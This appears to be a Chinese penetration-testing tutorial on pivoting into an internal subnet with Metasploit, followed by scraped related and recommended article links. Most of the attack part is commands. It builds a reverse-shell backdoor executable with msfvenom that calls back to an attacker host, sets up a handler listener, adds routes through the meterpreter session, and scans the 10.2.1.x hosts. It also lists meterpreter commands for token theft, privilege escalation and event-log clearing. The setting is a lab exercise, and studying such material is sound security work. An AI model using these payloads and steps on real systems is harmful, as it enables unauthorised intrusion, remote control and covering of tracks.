跳板攻击之: MSF 添加路由方式渗透内网

1 Metasploit 跳板攻击: 添加路由方式原理

  • 通过网络层可达实现跳板攻击
  • 缺点是利用环境苛刻,只能在 Metasploit 中使用。易被防火墙拦截流量。

2 实验环境

2.1 建立 meterpreter 反向连接

  1. 生成 Metaspolit 后门程序

    msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.0.2 lport=4444 -f exe > /var/www/html/evil.exe
  2. kali 配置监听 meterpreter 反向连接

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.0.2
    run
  3. WEB Server 下载 Metaspolit 后门程序,并打开程序

  4. meterpreter 反向连接建立成功

2.2 查看当前系统信息

  1. 查看当前系统路由信息,发现存在新网段:10.2.1.0/24

    ipconfig
    route list

  2. 添加去往该目标网段的路由

    run post/multi/manage/autoroute
    run autoroute -p

    查看添加的路由,下一跳指向 session 1

2.3 利用增加的路由扫描新网段的主机

  • 使用 MSF 端口扫描模块进行扫描

    use auxiliary/scanner/portscan/tcp
    set ports 135,139,445,23,80,8080
    set rhosts 10.2.1.1-10.2.1.3

  • NMAP 扫描:由结果可知端口被防火墙过滤

    db_nmap -sV -p23,80 10.2.1.3
    # 如果扫描的款数据库未连接,需要先执行 msfdb init 后,再重新打开 msfconsole

3 meterpreter 基础命令

Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process 尽可能提升权限
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as 查看当前用户
kill Terminate a process
localtime Displays the target system local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes 列出进程
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS 查看系统信息
migrate Migrate the server to another process 注入进程
getsystem Attempt to elevate your privilege to that of local system. 通过各种攻击向量来提升本地系统权限

跳板攻击之: MSF 添加路由方式渗透内网的更多相关文章

  1. [W3bSafe]Metasploit溢出渗透内网主机辅助脚本

    文章来源i春秋 脚本用Shell编写  有的内网特别脆弱  本脚本主要就是 测试的话方便一点   输入内网网关就能调用Metasploit全部模块测试整个内网 运行截图<ignore_js_op ...

  2. msf生成后门实战漫游内网

    前言:当我们在渗透当中首先拿到webshell权限,进一步提权渗透,获得内网的主机,假设在这里我们获取了具有双网卡的web服务器,我们的目的是通过这台web服务器,进行内网漫游,获取内网中其他主机的系 ...

  3. renren-fast-vue-动态路由-添加路由-方式一(直接在原有结构上添加)

    在原有文件夹夹下新建自己的组件 在 mock/modules/sys-menu.js 中引入 实现路由的添加

  4. 内网渗透之权限维持 - MSF

    年初九 天公生 0x034 MSF(美少妇) 启动msf msfconsole 先启动msf依赖的postgresql数据库 初始化数据库 msfdb init (要用普通用户) msf路径 /usr ...

  5. 后渗透阶段之基于MSF的路由转发

    目录 反弹MSF类型的Shell 添加内网路由 MSF的跳板功能是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的Meterpreter Shell的基础上添加一条去往“内网” ...

  6. 通过SOCKS代理渗透整个内网

    https://blog.csdn.net/SouthWind0/article/details/83111044 通过SOCKS代理渗透整个内网 1.背景 经过前期的渗透工作,我们现在已经成功找到了 ...

  7. 内网渗透之MS17-010

    在红蓝对抗中,当拿到了位于边界主机的权限后,我们通常会以此为跳板,搭建一个通往内网的隧道,以此继续渗透内网.而在内网中首先想到的就是MS17-010了,因为在内网中,安全措施相对较弱,很多主机存在此漏 ...

  8. 使用pycharm、跳板机连接内网服务器

    使用pycharm.跳板机连接内网服务器 接手实验室服务器后,大部分同学在GPU集群上跑程序都是直接在ssh界面上跑,这里想着通过pycharm通过跳板机来连接服务器. 总体就是实验室服务器仅限内网访 ...

  9. [内网渗透] MSF路由转发/网络代理

    这里只做记录,不做详解 0x01 路由转发 已经拿到一台公网服务器: 1.1 方法1 进到meterpreter的会话: route #查看路由信息 background退出当前会话,通过会话2,转发 ...

  10. Windows 系统cmd设置添加静态路由方式

    电脑上添加静态路由,cmd设置路由 方法/步骤 1.首先在“运行”窗口输入cmd(按WIN+R打开运行窗口),然后回车进入命令行,输入 route  add  10.253.251.0  mask   ...

随机推荐

  1. 【每日一题】【动态规划】2022年2月22日-NC59 矩阵的最小路径和

    描述 给定一个 n * m 的矩阵 a,从左上角开始每次只能向右或者向下走,最后到达右下角的位置,路径上所有的数字累加起来就是路径和,输出所有的路径中最小的路径和. 例如:当输入[[1,3,5,9], ...

  2. Redis的常见应用场景

    缓存.分布式数据共享.setnx分布式锁.incrby全局id进行分库分表.计数器.限流(ip为key,计数超过阈值则返回false).购物车(hash,用户key-商品field-数量value). ...

  3. SourceGenerator 使用姿势(1):生成代理类,实现简单的AOP

    SourceGenerator 已经出来很久了,也一直在关注.之前观摩大佬 xljiulang 的 WebApiClient 使用 SourceGenerator 生成接口代理类,深受启发,准备拿过来 ...

  4. java中加号的用法

    注意java中+号的使用 public class Add { public static void main(String[] args) { System.out.println(100+80); ...

  5. P1024 [NOI2001] 食物链【种类并查集】

    题意 P1024 简化题意:给定 \(n\) 和 \(k(n\leqslant5\times10^4,k\leqslant10^5)\) ,表示有 \(n\) 个动物, \(k\) 个描述,其中: \ ...

  6. [OpenCV实战]12 使用深度学习和OpenCV进行手部关键点检测

    目录 1 背景 2 实现 3 结果和代码 4 参考 手部关键点检测是在手指上找到关节以及在给定图像中找到指尖的过程.它类似于在脸部(面部关键点检测)或身体(人体姿势估计)上找到关键点.但是手部检测不同 ...

  7. [数据与分析可视化] D3入门教程2-在d3中构建形状

    d3.js入门教程2-在 d3.js中构建形状 文章目录 d3.js入门教程2-在 d3.js中构建形状 形状的添加 圆形的添加 矩形的添加 线段的添加 文本的添加 折线的添加 区域的添加 圆弧的添加 ...

  8. .Net 7 内存模型函数描述结构MethoDesc

    楔子 讲一些CLR里面的内存模型.本篇MethodDesc,意为函数的描述之意,看下一个函数在CLR里面是如何被描述的. MethodDesc结构 这个结构体在CLR里面高达1600多行,这里仅截取一 ...

  9. [C++Primer] 第二章 变量和基本类型

    第二章 变量和基本类型 引用 引用定义的时候必须初始化. 引用初始化之后无法重新绑定到其它对象上. 引用本身并不是对象,所以没有指向引用的引用(不管如何多层引用,引用的还是源对象) 下面用一个简单的例 ...

  10. 失配树学习笔记 | P5829 【模板】失配树

    简介 失配树(简称 Fail 树),是基于 KMP 的算法,可以高效的解决复杂的字符串前缀后缀关系问题. 前置知识: KMP 算法(求失配数组) 最近公共祖先(LCA) 希望大家看完这篇文章后可以理解 ...